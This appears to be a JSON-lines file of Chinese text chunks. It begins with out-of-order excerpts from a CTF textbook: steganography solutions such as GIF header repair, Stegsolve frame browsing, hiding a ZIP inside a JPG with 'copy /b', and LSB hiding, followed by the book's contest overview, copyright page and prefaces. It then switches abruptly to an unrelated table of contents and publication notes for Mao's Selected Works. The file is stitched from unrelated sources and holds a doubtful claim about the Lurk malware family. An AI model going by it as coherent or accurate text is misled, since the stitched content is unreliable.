    {"text": "此文件夹中有两个文件，分别是7DF6.zip和gif.gif。 7DF6.zip和使用dd命令提取的out.zip是一样的。 gif.gif是存在于7DF6.zip中的压缩文件（省去了解压文件的步骤）。"},
    {"text": "我们知道，GIF文件是以“47 49 46 38 39 61”开头的，但是此GIF文件却是以“39 61”开头的，所以问题明确了：文件头缺少4字节的数据，因此无法打开。"},
    {"text": "我们知道，GIF图片其实就是将多幅图片组合起来展示，每动一次就显示一幅图片，所以，只要找到能够逐帧查看GIF图片的工具，就可以将其中的文字记录下来了。"},
    {"text": "使用Stegsolve加载GIF图片，可以看到其中的一幅图片。 然后，选择“Analyse”→“Frame Browser”选项，会弹出一个窗口，在此窗口的左上角会显示当前加载的GIF图片一共有多少帧，如图5-56所示。 单击窗口下方的“>”按钮，即可翻页查看每一帧图片。"},
    {"text": "使用Base64转换工具（如果不想使用本地软件，也可以使用在线工具）Converter进行转换，得到“TCTF {pleAse_hAve_A_nice_dAy}”，这就是本题的flag。"},
    {"text": "在Windows中，打开cmd窗口，切换到存储这两个文件的文件夹，执行“copy /b 1.jpg+2.zip output.jpg”命令，将这两个文件以二进制方式连接起来。"},
    {"text": "我们已经知道，JPG文件的结尾字符是“FF D9”，而图片查看器会忽略JPG文件结尾字符之后的内容，所以，附加的ZIP文件的字符不会影响图片的正常显示。"},
    {"text": "由于利用这种方法可以将多个文件合并，所以，在使用WinHex或dd命令提取文件时，一定要仔细搜索与文件头和文件尾相关的字符，或者认真分析binwalk输出的内容。"},
    {"text": "隐写术常与加密或编码技术结合在一起出题，因此，对一些常见的加密和编码方法也要有所了解，例如通过密文的字符范围和长度判断所使用的加密方式或编码方式。"},
    {"text": "这可怎么办呢? 遇到图片，当然要请出图片处理专家Photoshop了。 使用Photoshop加载图片，单击“图像”→“调整”→“曝光度”选项，就可以使图片变得清晰了。"},
    {"text": "在“曝光度”对话框中将曝光度调高，将位移调低，将灰度系数校正调低，如图5-60所示。 图5-60 这里所给的系数不是唯一的，可能调节其他参数也能使图片变得清晰，所以，这里的设置只作为参考。"},
    {"text": "但是，本题给出的图片尺寸太大，使用这些软件无法精确定位二维码，所以，在扫描前需要使用截图工具将二维码区域截取下来，保存成单独的文件。"},
    {"text": "③由于创建文件时已经有1字节的数据放在文件的起始位置了，而粘贴的数据都在这个字节之后，所以，需要将文件起始位置的1字节数据删除。"},
    {"text": "相关知识点 二维码是由特定的几何图形构成的。 二维码按照一定的规律在平面（二维方向）上放置黑白相间的图形，以记录数据信息。 在代码编制方面，二维码巧妙地利用构成计算机内部逻辑基础的0、1比特流的概念，使用若干与二进制相对应的几何图形来表示文字、数值等信息。 二维码是一个多行、连续、长度可变、包含大量数据的符号标识，每一行都有起始部分、数据部分、终止部分。"},
    {"text": "活码在理论上是一个网址，该网址的内容可以随时变化，并可以放置图片、视频、音频等多媒体内容。 相比较而言，活码的可扩展性和灵活性比静态二维码强。"},
    {"text": "StegSolve不仅提供了查看RGB分量的功能，而且可以将每个分量的不同位展示出来。 使用StegSolve加载图片，可以看到，其主界面下方有个两个按钮，分别用于向左和向右查看不同分量的不同位的图像。"},
    {"text": "实际上，图片中的每个像素都会根据图片的情况在文件中占据相应的字节。 通常，图片的颜色是多少位，就占据多少字节。 例如，24位颜色的图片，其每个像素为24位，也就是3字节，分别用于表示R（红）、G（绿）、B（蓝）三个分量，也就是说，每个分量都是一个8位二进制数。"},
    {"text": "因为只有R分量的最低位可以利用，而一个比特位只有0和1两种状态，所以，一幅黑白图片只有两种状态，不是黑色就是白色——这恰好可以为我们所用。"},
    {"text": "利用Photoshop等画图工具，准备一幅和原始图片大小相同、颜色模式为1位的位图（以下称为“隐藏图片”，在CTF比赛中就是flag图片），背景颜色可以任意设置，只要文字和背景是反差色即可，如图5-65所示。"},
    {"text": "如果为1，就是黑色（文字）部分，将原始图片中对应像素点的R分量的最低位置0； 如果为0，就将原始图片中对应像素点的R分量的最低位置1。 这里就会有一个疑问：为什么隐藏图片中黑色像素点的值为1，而要设置的R分量的最低位为0呢？"},
    {"text": "既然在存储图片时是按照二进制位进行隐写的，那么字符串可以转换成二进制形式，所以，自然可以将“CTF{AlphaLab}”存储到一幅图片中，且操作方式与隐藏图片的方式类似。"},
    {"text": "此外，本节介绍的隐藏方法主要利用对图片显示影响最小的最低位来隐藏信息，但事实上，倒数第二位对图片显示的影响也不大，如果出题人将信息写在R通道的最低位、G通道的倒数第二位、B通道的最低位，我们也可以通过细心和耐心将信息提取出来。"},
    {"text": "其实，利用其他格式的图片进行信息隐写也是可以的，只不过隐写不是通过利用最低有效位这种方法实现的。 通过LSB相关知识可知，需要先将隐藏的信息转换成二进制形式，再存储到图像中每个像素点的最低位。"},
    {"text": "JPEG是一种有损压缩格式，能够将图像压缩在很小的储存空间内，图像中重复的或不重要的信息将被丢弃，容易造成图像数据的“损伤”，我们也就无法提取每个像素点的值，更无法将信息存储其中了。"},
    {"text": "以Lurk系列软件为例，这是第一个被安全研究人员发现并记录的恶意软件家族，主要用于下载其他恶意软件并发送到目标机器，导致目标机器感染病毒。"},
    {"text": "未知 第6章 比赛介绍 读完本书前面的内容，相信大家已经对CTF赛题有了一定的了解——能用的招，才是好招。那么，在哪里可以使用我们学到的这些招数呢？本章将简单介绍国内外知名的CTF比赛。 国内外CTF比赛的内容有一些不同。国外的CTF比赛，题目以二进制程序分析和漏洞利用为主，辅以Web、密码学及其他内容。国内的CTF比赛，题目以Web渗透为主，搭配一些逆向分析、漏洞利用、密码学等方面的题目。 未知 6.1 国外CTF DEFCON 赛事介绍 DEFCON在CTF界算是最知名、影响力最大、历史最悠久的比赛了。它诞生于1993年，参赛选手大都是世界各地的黑客，可以说是CTF界的“世界杯”。 比赛模式 DEFCON的比赛模式主要为夺旗赛，即让选手分组对战，获取目标权限，从而击败对手。因比赛周期长，选手们经常需要昼夜工作，长时间不离开计算机。 DEFCON分为线上预赛和现场决赛。 线上预赛采用解题模式（Jeopardy）。即使是预赛，题目难度也是很高的，主要以二进制程序分析和漏洞利用为主，Web和杂项类赛题占少数。近几年，题目的复杂度和难度越来越高，风格也越来越偏向实战化和生活化。 现场决赛采用攻防模式（Attack/Defense）。只有线上预赛排名前列的队伍，才能入围现场决赛。除了参加线上预赛，还可以通过参加外卡赛入围决赛。这些外卡赛通常也是质量很高的重量级CTF比赛。最终入围现场决赛的队伍通常为15～20支，每年的数量不一定相同。 DEFCON决赛一般在每年7月的最后一周或8月的第一周于美国拉斯维加斯举行。 UCSB iCTF 赛事介绍 UCSB iCTF是一个历史悠久的、主要面向院校学生的黑客竞赛，其比赛环境集成了攻击和防御两个方面。 比赛模式 UCSB iCTF是一个多站点、多团队的黑客竞赛，每个团队都是独立进行对抗的。在比赛中，每个团队都要维护一套容易受到攻击的虚拟主机（每个团队维护的虚拟主机是相同的），使其在整个比赛阶段保持正常、可用、不受影响。同时，每个团队都要尝试攻击其他团队的虚拟主机。 未知 6.2 国内CTF XCTF联赛 赛事介绍 XCTF联赛的全称为“XCTF国际网络安全技术对抗联赛”，由网络空间安全人才基金和国家创新与发展战略研究会联合主办，由多个高校、科研院所、安全企业、社会团体共同组织，面向高校及科研院所学生、企业技术人员、网络安全技术爱好者等群体，旨在发现和培养网络安全技术人才。 比赛模式 XCTF联赛由选拔阶段和总决赛阶段两部分组成。 选拔阶段通过多个由高校及科研院所技术团队承办的分站赛，筛选出技术能力水平较高的队伍进入总决赛阶段。 总决赛阶段设置总决赛及夏令营等活动。入围总决赛的队伍通过竞赛，角逐冠、亚、季军和优胜奖，并获得相应的奖励。通过总决赛选拔出来的表现优异的队伍和个人，将进入夏令营活动进行提高训练，同时鼓励其参加知名的国际赛事。 TCTF 赛事介绍 TCTF是DEFCON的外卡赛之一，由腾讯安全联合实验室主办，于2017年在北京邮电大学开启。赛事分为面向全世界的国际赛和面向国内高校的邀请赛。 比赛模式 TCTF的比赛模式主要为解题模式，题目类型如下。 • 二进制漏洞利用。 • 逆向工程和逆向分析。 • Web安全。 • 密码学。 • 移动安全。 • 专业程序编码。 • 杂项。 未知 版权信息 COPYRIGHT 书名：极限黑客攻防：CTF赛题揭秘 编者：天融信阿尔法实验室，张黎元，郭勇生，王新辉 出版社：电子工业出版社 出版时间：2021年5月 ISBN：9787121408908 字数：445千字 版权方：电子工业出版社有限公司 版权所有·侵权必究 未知 未知 内容简介 CTF在网络安全领域特指网络安全技术人员之间进行技术竞技的一种比赛。CTF代替了以往黑客通过互相发起真实攻击进行技术比拼的方式，题目来自日常工作环境，并将其中的某些因素放大，以测试网络安全技术人员的技术水平和心理素质。本书汇集了数十道历年CTF比赛的经典赛题，既给出了解题思路，又还原了实际安全攻防场景，使比赛题目和日常工作有效互通。通过阅读本书，读者可以将Web安全、漏洞分析、安全编程等领域的知识点关联起来，开阔思路，提升自身的技术水平。 本书适合参加CTF比赛的选手，以及网络安全从业人员、相关专业在校学生和关注网络安全技术的读者阅读。"},
    {"text": "未知 序 我国是互联网用户数量全球第一的互联网大国。党的十九大制定了面向新时代的发展蓝图，提出要建设网络强国、数字中国、智慧社会，推动互联网、大数据、人工智能和实体经济深度融合，发展数字经济、共享经济，培育新增长点、形成新动能。 信息产业的发展离不开网络安全的保驾护航。通过开展关键信息基础设施网络安全检查、组织网络安全应急演练、建立完善一系列制度机制，能够有力确保重大关键节点网络安全“零事故”。近年来，全球网络安全形势严峻，发生了多起个人信息与商业数据大规模泄露及违规利用事件，针对关键信息基础设施的恶意网络攻击频发，各国的网络空间对抗态势加剧。面对这种情况，如何加强网络安全建设，更好地应对网络安全威胁，更有力地保障个人与企业信息安全，是我们需要思考和完善的。 未知攻，焉知防。在这个越来越繁荣且复杂的网络环境中，如何使网络安全技术人员合理地利用手中的各种工具和策略来提高网络安全对抗水平，是培养高素质的网络安全和信息化人才队伍急需解决的问题。在此背景下，国内安全行业引进了国际知名的CTF攻防对抗比赛，极大地提升了国内安全行业的整体技术水平。 CTF比赛可以通过对抗模式提升国内安全研究人员的安全攻防实力，构建核心技术交流圈，并借助国际赛事积极与其他国家的选手进行对抗，增强我国的网络空间话语权，推进我国网络攻防技术水平稳步提高。同时，CTF比赛加强了安全制度建设，全面提升了个人信息及国家信息安全保障技术水平。CTF比赛为国内外的网络安全技术高手搭建了演练平台，在竞技和切磋的同时，唤起了大众对网络安全的重视。网络空间的竞争，归根到底是人才的竞争。我国多个行业已经举办的多场大型CTF比赛，不仅让大批优秀的技术人才脱颖而出，成为国内网络安全的中坚力量，也使网络攻防演练逐渐成为各企事业单位乃至国家层面培养网络安全人才的新模式。目前，国家电网、国资委等企事业单位每年举办的CTF比赛有几十场，其重视程度可见一斑。 网络攻防对抗的涉及面非常广，包含Web安全、渗透测试、逆向分析、漏洞利用、加密解密、隐写溯源等，每个方向都需要深入研究才能掌握。参与CTF比赛的选手需要分工合作，解决各自熟悉和擅长领域的问题，才能共同完成比赛。 本书是国内第一本专门讨论CTF赛题的书。本书整理了数十道国内外CTF比赛中的经典赛题，并对每道题目的解题思路进行了详细的分析和讲解。参与CTF比赛的选手能够通过本书快速了解CTF比赛的各种题型，并通过详细的目录分类全面了解每种题型涉及的技术细节。同时，本书对每种题型都给出了例题及相应的解题思路。初学者尤其可以通过阅读这些经典题目，分类理解题目要求，快速理清解题思路。这些无不体现出作者对读者的照顾。 本书不仅可以帮助初学者走进CTF比赛的大门，还可以为CTF比赛选手提供有针对性的参考。本书对企业网络安全运营人员、网络安全从业人员了解网络攻防技术也有很大的帮助。 北京天融信网络安全技术有限公司CEO 李雪莹 博士"},
    {"text": "未知 前言 CTF（Capture the Flag）起源于1996年的DEFCON全球黑客大会，是一种流行的信息安全竞赛形式。安全研究人员及白帽子通过这种竞赛形式进行攻防技术的比拼及演练，提高了自身的技术能力。近几年，CTF比赛在国内的发展如火如荼，越来越多的选手来到这个新的赛场，其中既有刚刚进入大学校门的学生，也有网络安全从业者，更有一些顶级黑客。尽管CTF比赛的热度不断提升，但市面上与之相关的书籍并不多。天融信阿尔法实验室组织编写了这本书，希望帮助读者深入了解CTF比赛的常规内容及形式。 传统的CTF比赛主要有线上比赛和线下比赛两种形式，在比赛模式上大体分为解题模式、攻防模式和混合模式。无论哪种模式，都涉及实操分析和解题的过程。本书从国内外CTF赛事中选择了具有代表性的题目进行讲解。通过阅读本书，读者可以了解CTF比赛的题目类型及相应的解题思路，从而在比赛中更加得心应手。 本书内容 本书共分6章。前5章按照比赛题型划分为Web类赛题、可执行程序类赛题、PWN类赛题、PPC类赛题、安全杂项类赛题，对每种题型都介绍了典型的赛题，并提供了相应的解题思路。第6章简单介绍了知名的CTF比赛。 读者既可以从头开始阅读本书，也可以挑选自己感兴趣的章节阅读。 第1章 Web类赛题 Web类赛题在CTF比赛中占有较大比重。本章主要介绍Web类赛题及其解题思路，同时介绍了SQL注入、XSS等Web安全知识点。 第2章 可执行程序类赛题 可执行程序类赛题是CTF比赛的必出题目。本章主要介绍可执行程序类赛题，尤其是逆向题目的解题思路，同时介绍了Windows、Linux、Android、Python、.NET等主流平台的逆向分析技巧。 第3章 PWN类赛题 PWN类赛题属于漏洞利用题目，在CTF比赛中的数量较少，但往往分值较高。本章介绍了Windows及Linux平台漏洞利用题目的解题思路及相关知识点。 第4章 PPC类赛题 编程是网络安全从业者应该具备的基本能力。本章主要讲解如何在CTF比赛中解答编程类赛题，涉及工具编写、算法等内容。 第5章 安全杂项类赛题 安全杂项类赛题是CTF比赛中常见的一类题目，通常涉及信息隐写、密码学、流量分析、电子取证、数据分析、大数据等知识点，可以说是包罗万象。本章挑选了密码学和隐写两种常见的题目进行分析和讨论。 第6章 比赛介绍 本章主要对国内外的知名CTF比赛进行介绍。 读者对象 • 网络安全技术人员；安全运维人员。 • 攻防技术研究人员；安全开发人员。 • 网络及信息安全相关专业学生。 • CTF职业比赛战队队员及参赛选手。 • 网络安全及攻防技术爱好者。 交流及反馈 读者在阅读本书的过程中如有疑问，可以关注微信公众号“天融信阿尔法实验室”并给我们留言，我们非常愿意与您交流相关技术问题。 资源下载及读者服务 读者可以访问微信公众号“天融信阿尔法实验室”，下载本书相关资源。我们也会通过该公众号发布与CTF比赛及网络安全技术有关的文章。 读者也可以扫描本书封底的二维码并发送“40890”，关注博文视点微信客服号，获取本书的链接列表及相关资源等。 致谢 本书由张黎元、郭勇生、王新辉共同编写。 本书的出版首先要感谢电子工业出版社博文视点潘昕编辑的辛勤劳动及付出。 由衷感谢天融信网络安全技术有限公司的领导和同事们的支持。 感谢天融信网络安全技术有限公司CEO李雪莹女士在天融信阿尔法实验室的建设及本书编写过程中给予的大力支持。天融信阿尔法实验室浓厚的技术研究氛围及弹性的工作时间，使本书的作者们可以潜心研究技术并编写本书。 本书的编写得到了张伟业、黄庆涛等同事的帮助，在此向他们表示感谢。 特别感谢我的挚友，国内Web安全领域著名的白帽子、华为信息与网络安全专家、《Web前端黑客技术揭秘》一书的作者xisigr。他阅读本书的初稿后，在技术方面提出了很多诚恳的建议及意见，促使我们精益求精地对待本书的编写和出版工作。 感激并感谢我的父母，是他们的不断鼓励及默默支持造就了现在的我。感谢我挚爱的妻子，以及她的无私奉献和深情关切。 关于天融信阿尔法实验 天融信阿尔法实验室成立于2011年，有专职技术研究人员数十名。 天融信阿尔法实验室秉承“攻防一体”的理念从事攻防技术研究，在前瞻性安全技术研究领域积极开拓。作为天融信网络安全技术有限公司的专业安全产品和服务支撑团队，天融信阿尔法实验室精湛的专业技术、丰富的排异经验，为公司产品的研发和升级、所承担的国家重大安全项目及客户服务提供了强有力的技术支撑。 张黎元 Cover"},
    {"text": "目录 目 录 第一卷 第二版出版说明 本书出版的说明 第一次国内革命战争时期 中国社会各阶级的分析 湖南农民运动考察报告 第二次国内革命战争时期 中国的红色政权为什么能够存在？ 井冈山的斗争 关于纠正党内的错误思想 星星之火，可以燎原 反对本本主义 必须注意经济工作 怎样分析农村阶级 我们的经济政策 关心群众生活，注意工作方法 论反对日本帝国主义的策略 中国革命战争的战略问题 关于蒋介石声明的声明 中国共产党在抗日时期的任务 为争取千百万群众进入抗日民族统一战线而斗争 实践论 矛盾论 第二卷 抗日战争时期（上） 反对日本进攻的方针、办法和前途 为动员一切力量争取抗战胜利而斗争 反对自由主义 国共合作成立后的迫切任务 和英国记者贝特兰的谈话 上海太原失陷以后抗日战争的形势和任务 陕甘宁边区政府、第八路军后方留守处布告 抗日游击战争的战略问题 论持久战 中国共产党在民族战争中的地位 统一战线中的独立自主问题 战争和战略问题 五四运动 青年运动的方向 反对投降活动 必须制裁反动派 关于国际新形势对新华日报记者的谈话 和中央社、扫荡报、新民报三记者的谈话 苏联利益和人类利益的一致 《共产党人》发刊词 目前形势和党的任务 大量吸收知识分子 中国革命和中国共产党 斯大林是中国人民的朋友 纪念白求恩 新民主主义论 克服投降危险，力争时局好转 团结一切抗日力量，反对反共顽固派 向国民党的十点要求 《中国工人》发刊词 必须强调团结和进步 新民主主义的宪政 抗日根据地的政权问题 目前抗日统一战线中的策略问题 放手发展抗日力量，抵抗反共顽固派的进攻 团结到底 论政策 为皖南事变发表的命令和谈话 打退第二次反共高潮后的时局 关于打退第二次反共高潮的总结 第三卷 抗日战争时期（下） 《农村调查》的序言和跋 改造我们的学习 揭破远东慕尼黑的阴谋 关于反法西斯的国际统一战线 在陕甘宁边区参议会的演说 整顿党的作风 反对党八股 在延安文艺座谈会上的讲话 一个极其重要的政策 第二次世界大战的转折点 祝十月革命二十五周年 抗日时期的经济问题和财政问题 关于领导方法的若干问题 质问国民党 开展根据地的减租、生产和拥政爱民运动 评国民党十一中全会和三届二次国民参政会 组织起来 学习和时局 为人民服务 评蒋介石在双十节的演说 文化工作中的统一战线 必须学会做经济工作 游击区也能够进行生产 两个中国之命运 论联合政府 愚公移山 论军队生产自给，兼论整风和生产两大运动的重要性 赫尔利和蒋介石的双簧已经破产 评赫尔利政策的危险 给福斯特同志的电报 对日寇的最后一战 第四卷 第三次国内革命战争时期 抗日战争胜利后的时局和我们的方针 蒋介石在挑动内战 第十八集团军总司令给蒋介石的两个电报 评蒋介石发言人谈话 中共中央关于同国民党进行和平谈判的通知 关于重庆谈判 国民党进攻的真相 减租和生产是保卫解放区的两件大事 一九四六年解放区工作的方针 建立巩固的东北根据地 关于目前国际形势的几点估计 以自卫战争粉碎蒋介石的进攻 和美国记者安娜·路易斯·斯特朗的谈话 集中优势兵力，各个歼灭敌人 美国“调解”真相和中国内战前途 三个月总结 迎接中国革命的新高潮 中共中央关于暂时放弃延安和保卫陕甘宁边区的两个文件 关于西北战场的作战方针 蒋介石政府已处在全民的包围中 解放战争第二年的战略方针 中国人民解放军宣言 中国人民解放军总部关于重行颁布三大纪律八项注意的训令 目前形势和我们的任务 关于建立报告制度 关于目前党的政策中的几个重要问题 军队内部的民主运动 在不同地区实施土地法的不同策略 纠正土地改革宣传中的“左”倾错误 新解放区土地改革要点 关于工商业政策 关于民族资产阶级和开明绅士问题 评西北大捷兼论解放军的新式整军运动 关于情况的通报 在晋绥干部会议上的讲话 对晋绥日报编辑人员的谈话 再克洛阳后给洛阳前线指挥部的电报 新解放区农村工作的策略问题 一九四八年的土地改革工作和整党工作 关于辽沈战役的作战方针 关于健全党委制 中共中央关于九月会议的通知 关于淮海战役的的作战方针 全世界革命力量团结起来，反对帝国主义的侵略 中国军事形势的重大变化 关于平津战役的作战方针 敦促杜聿明等投降书 将革命进行到底 评战犯求和 中共中央毛泽东主席关于时局的声明 中共发言人评南京行政院的决议 中共发言人关于命令国民党反动政府重新逮捕前日本侵华军总司令冈村宁次和逮捕国民党内战罪犯的谈话 中共发言人关于和平条件必须包括惩办日本战犯和国民党战犯的声明 把军队变为工作队 四分五裂的反动派为什么还要空喊“全面和平”？"},
    {"text": "国民党反动派由“呼吁和平”变为呼吁战争 评国民党对战争责任问题的几种答案 在中国共产党第七届中央委员会第二次全体会议上的报告 党委会的工作方法 南京政府向何处去？"},
    {"text": "向全国进军的命令 中国人民解放军布告 中国人民解放军总部发言人为英国军舰暴行发表的声明 在新政治协商会议筹备会上的讲话 论人民民主专政 丢掉幻想，准备斗争 别了，司徒雷登 为什么要讨论白皮书？"},
    {"text": "唯心历史观的破产 第五卷 出版说明 社会主义革命和社会主义建设时期（一） 中国人民站起来了 中国人民大团结万岁 人民英雄们永垂不朽 永远保持艰苦奋斗的作风 征询对待富农策略问题的意见 为争取国家财政经济状况的基本好转而斗争 不要四面出击 做一个完全的革命派 你们是全民族的模范人物 给中国人民志愿军的命令 中国人民志愿军要爱护朝鲜的一山一水一草一木 中共中央政治局扩大会议决议要点 镇压反革命必须实行党的群众路线 镇压反革命必须打得稳，打得准，打得狠 应当重视电影《武训传》的讨论 三大运动的伟大胜利 关于“三反”“五反”的斗争 把农业互助合作当作一件大事去做 元旦祝词 中共中央关于西藏工作方针的指示 工人阶级与资产阶级的矛盾是国内的主要矛盾 团结起来，划清敌我界限 祝贺中国人民志愿军的重大胜利 反对官僚主义、命令主义和违法乱纪 批判大汉族主义 解决“五多”问题 对刘少奇、杨尚昆破坏纪律擅自以中央名义发出文件的批评 批判离开总路线的右倾观点 青年团的工作要照顾青年的特点 关于国家资本主义 党在过渡时期的总路线 反对党内的资产阶级思想 改造资本主义工商业的必经之路 抗美援朝的伟大胜利和今后的任务 批判梁漱溟的反动思想 关于农业互助合作的两次谈话 关于中华人民共和国宪法草案 为建设一个伟大的社会主义国家而奋斗 关于《红楼梦》研究问题的信 原子弹吓不倒中国人民 在中国共产党全国代表会议上的讲话 驳“舆论一律” 《关于胡风反革命集团的材料》的序言和按语 关于农业合作化问题 农业合作化必须依靠党团员和贫农下中农 农业合作化的一场辩论和当前的阶级斗争 《中国农村的社会主义高潮》的序言 《中国农村的社会主义高潮》的按语 征询对农业十七条的意见 加快手工业的社会主义改造 论十大关系 美帝国主义是纸老虎 增强党的团结，继承党的传统 我们党的—些历史经验 纪念孙中山先生 在中国共产党第八届中央委员会第二次全体会议上的讲话 在省市自治区党委书记会议上的讲话 关于正确处理人民内部矛盾的问题 在中国共产党全国宣传工作会议上的讲话 坚持艰苦奋斗，密切联系群众 事情正在起变化 中国共产党是全中国人民的领导核心 组织力量反击右派分子的猖狂进攻 文汇报的资产阶级方向应当批判 打退资产阶级右派的进攻 一九五七年夏季的形势 做革命的促进派 坚定地相信群众的大多数 党内团结的辩证方法 一切反动派都是纸老虎 第六卷（静火版） 出版说明 静火有言 社会主义革命和社会主义建设时期（二） 关于中国人民志愿军撤出朝鲜问题 工作方法六十条（草案） 在成都会议上的讲话 干部要以普通劳动者的姿态出现 要搞一点原子弹氢弹 西藏要准备对付那里的可能的全局叛乱 介绍一封信 同苏联驻华大使尤金的谈话 关于国际形势问题 中华人民共和国国防部告台湾同胞书 中华人民共和国国防部命令 中华人民共和国国防部再告台湾同胞书 关于社会主义商品生产问题 记者头脑要冷静 在武昌会议上的讲话 关于帝国主义和一切反动派是不是真老虎的问题 在八届六中全会上的讲话 马列主义基本原理至今未变，个别结论可以改变 在第二次郑州会议上的讲话 党内通信——建议召开县五级干部大会 关于西藏平叛 党内通信——致六级干部的公开信 关于西藏问题和台湾问题 经济建设是科学，要老老实实学习 要政治家办报 如实公开报道灾情 庐山会议讨论的十八个问题 在庐山会议上的多次讲话、批语 对彭德怀九月九日信的批示 争取比较长的和平时间是可能的 同澳共总书记夏基的谈话 读苏联《政治经济学教科书》的谈话 坚决制止重刮“共产风”等违法乱纪行为 同蒙哥马利的谈话 十年总结 同斯诺的谈话——中国人的精神面貌改变了 彻底纠正“五风” 永远不许一平二调 坚决退赔，刹住“共产风” 大兴调查研究之风 要做系统的由历史到现状的调查研究 总结经验，教育干部 中国在联合国只能有一个代表 在七千人大会上的讲话——关于党的民主集中制 在北戴河中央工作会议中心小组会上的讲话 在八届十中全会上的讲话 干部参加劳动的伟大意义 人的正确思想是从哪里来的？"},
    {"text": "论反对官僚主义 支持美国黑人反对种族歧视斗争的声明 受压迫的人民总是要起来的 革命和建设都要靠自己 关于文艺工作的批示 加强相互学习，克服固步自封、骄傲自满 不搞科学技术，生产力无法提高 我国还可能要走一段资本主义复辟的道路 中法之间有共同点 关于教育革命的谈话 以农业为基础，以工业为主导 支持被压迫人民反对帝国主义的战争 和王海蓉同志的谈话 哪里有压迫哪里就有反抗 接见日本社会党人士的谈话 关于九评苏共中央的公开信的节录 中华人民共和国政府声明 打破核垄断，消灭核武器 中国的大跃进 同斯诺的谈话——关于越南战争 官僚主义者阶级是革命对象 我们希望阿拉伯国家团结起来 把医疗卫生工作的重点放到农村去 人民给政府饭吃，吃了饭就要为人民服务 胜利的信念是从斗争中得来的 突出政治，反对折衷主义 上面要靠党的领导，下面要靠广大群众 第七卷（静火版） 出版说明 静火有言 文化大革命时期 关于农业机械化——备战备荒为人民 在中央政治局常委扩大会议上的讲话 对中宣部和北京市委的批评 学校一律要实行半工半读 部队文艺工作座谈会纪要 为什么要搞文化大革命 各行各业均应一业为主兼学别样——五·七指示 中国共产党中央委员会通知——五·一六通知 同胡志明的谈话——不搞清官贪官，搞文化大革命 给江青的信 凡是镇压学生运动的人，都没有好下场 工作组要撤，文化革命要依靠革命师生 给清华大学附属中学红卫兵的信 不许镇压学生运动 炮打司令部——我的一张大字报 中国共产党中央委员会关于无产阶级文化大革命的决定 在中共八届十一中全会闭幕会上的讲话 对四位外国专家的大字报的批语 驻外机关也要革命化 在中央工作会议上的讲话 斗争要文明些，坚持文斗，不用武斗 对刘少奇到学校做公开检查的批示 对《文汇报》、《解放日报》夺权事件的谈话 论夺权 人民解放军应该支持左派广大群众 接见卡博和巴卢库时的谈话 对上海文化大革命的指示 批评“二月逆流” 论革命的“三结合” 关于两条路线斗争的基本问题 是义和团侵略了帝国主义了吗？ 中央军委关于支左工作十条命令 接见阿尔巴尼亚军事代表团时的谈话 论无产阶级专政下继续革命 在听了氢弹会议汇报后的讲话 视察华北、中南和华东地区时的重要指示 接见刚果（布）总理努马扎莱的谈话 关于“九大”和整党问题的谈话 祝贺越南南方民族解放阵线成立七周年的电报 关于国家机关的改革和革命委员会的基本经验 支持美国黑人抗暴斗争的声明 学校教育革命的方向——要和工农兵结合 接见首都红代会“五大领袖”时的谈话 医学教育革命的方向——赤脚医生就是好 广大干部下放劳动是一种重新学习的极好机会 在中共八届扩大的十二中全会上的讲话 赞成越南又打又谈的方针 关于知识青年到农村去的号召 对中国共产党第九次全国代表大会的讲话 关于战备疏散的指示 祝贺越南南方民族解放阵线成立九周年的电报 与黎笋的谈话 全世界人民团结起来，打败美国侵略者及其一切走狗 发展自己的工业和农业不要依靠外国 帝国主义怕第三世界 国际间的事要由大家商量解决 改变国家体制，不设国家主席 我的一点意见 与斯诺的谈话——关于文化大革命 对外宣传工作不可强加于人 思想上政治上的路线正确与否是决定一切的 恢复联合国席位后的谈话 对反革命不要杀，保留活证据 会见美国总统尼克松时的谈话 中美联合公报（“上海公报”）中国方面的声明 与日本首相田中角荣的谈话 深挖洞，广积粮，不称霸 祝贺越南人民取得的伟大胜利 接见基辛格时的谈话 启用邓小平 在政治局会议上的讲话——八大军区司令员对调 中国将修建青藏铁路 关于划分三个世界的谈话 同英国前首相希思的谈话 关于理论问题的谈话要点 对在押国民党战犯、党政军特人员一律释放 要安定团结不要分裂，不要搞阴谋诡计 关于《水浒》的评论 中美关系会一点点好起来 祝贺印度支那三国抗美救国战争取得胜利 走资派还在走，“永不翻案”靠不住 对天安门事件的指示 后事交代 版本信息"},
    {"text": "Cover 题词 全世界无产者，联合起来！ 第二版出版说明 第二版出版说明 《毛泽东选集》第一至四卷，在五十年代初和六十年代初先后出版，距今已有三四十年。现在，根据中共中央的决定，对《毛泽东选集》第一至四卷进行修订，在中国共产党建立七十周年之际出版第二版。 《毛泽东选集》第一至四卷，是毛泽东同志亲自主持编辑的。第二版仍保持原有的篇目，只增加《反对本本主义》一篇。这篇著作，曾一度散失，六十年代初才重新得到，后经毛泽东同志审定，在一九六四年出版的《毛泽东著作选读》中第一次公开发表。 这次修订，对有些文章误署的写作时间或发表时间，对正文中的某些史实以及少量错字、漏字等，作了校正。对某些用字，包括少数生僻难认的地名用字，根据文字规范化的要求，作了更改。对有些题解，作了少量史实和提法方面的修正；同时，新写了几篇题解。对正文所作的校订，分别列表附在各卷书末。 《毛泽东选集》第一至四卷的修订工作，主要是校订注释，改正注释中某些错讹的史实和不准确的提法，增补一些新的注释，删去少量的注释。注释校订工作是根据毛泽东同志的意见，从一九六二年起着手进行的，后因“文化大革命”而中断。这次校订，在六十年代工作的基础上，吸收了近二三十年来史料收集和学术研究的成果，对注释又作了进一步的修改和增补。 中共中央文献编辑委员会 一九九一年二月 本书出版的说明 本书出版的说明 这部选集，包括了毛泽东同志在中国革命各个时期中的重要著作。几年前各地方曾经出过几种不同版本的《毛泽东选集》，都是没有经过著者审查的，体例颇为杂乱，文字亦有错讹，有些重要的著作又没有收进去。现在的这部选集，是按照中国共产党成立后所经历的各个历史时期并且按照著作年月次序而编辑的。这部选集尽可能地搜集了一些为各地方过去印行的集子还没有包括在内的重要著作。选集中的各篇著作，都经著者校阅过，其中有些地方著者曾作了一些文字上的修正，也有个别的文章曾作了一些内容上的补充和修改。 下面有几点属于出版事务的声明： 第一，现在出版的这个选集，还是不很完备的。由于国民党反动派对于革命文献的毁灭，由于在长期战争中革命文献的散失，我们现在还不能够找到毛泽东同志的全部著作，特别是毛泽东同志所写的许多书信和电报（这些在毛泽东同志著作中占很大的部分）。 第二，有些曾经流行的著作，例如《农村调查》，遵照著者的意见，没有编入；又如《经济问题与财政问题》，也遵照著者的意见，只编进了其中的第一章（即《关于过去工作的基本总结》）。 第三，选集中作了一些注释。其中一部分是属于题解的，附在各篇第一页的下面；其他部分，有属于政治性质的，有属于技术性质的，都附在文章的末尾。 